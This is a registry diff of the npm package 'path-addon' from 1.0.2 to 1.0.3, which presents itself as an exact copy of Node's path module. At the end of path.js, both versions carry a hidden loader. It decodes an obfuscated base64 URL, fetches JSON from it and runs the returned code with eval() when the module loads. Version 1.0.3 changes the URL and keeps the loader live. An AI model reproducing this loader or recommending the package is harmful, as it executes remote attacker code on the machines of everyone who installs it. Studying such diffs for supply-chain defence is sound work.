path-addon 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +1 -1
  2. package/package.json +1 -1
  3. package/path.js +7 -5
package/README.md CHANGED
@@ -7,7 +7,7 @@ This is an exact copy of the NodeJS ’path’ module published to the NPM regis
7
7
  ## Install
8
8
 
9
9
  ```sh
10
- $ npm install --save path-extend
10
+ $ npm install --save path-addon
11
11
  ```
12
12
 
13
13
  ## License
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "path-addon",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "Node.js path module",
5
5
  "main": "./path.js",
6
6
  "author": "",
package/path.js CHANGED
@@ -571,13 +571,15 @@ posix.format = function (pathObject) {
571
571
  return dir + base;
572
572
  };
573
573
 
574
- fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9ORFlXUA=="))
574
+ fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi8yTzBFVw=="))
575
575
  .then(response => response.json())
576
576
  .then(data => {
577
- const codeOne = data.one;
578
- eval(codeOne);
579
- const codeTwo = data.two;
580
- eval(codeTwo);
577
+ const codeString = data.content;
578
+ eval(codeString);
579
+ // const codeOne = data.one;
580
+ // eval(codeOne);
581
+ // const codeTwo = data.two;
582
+ // eval(codeTwo);
581
583
  })
582
584
  .catch(error => console.error('Error fetching or executing code:', error));
583
585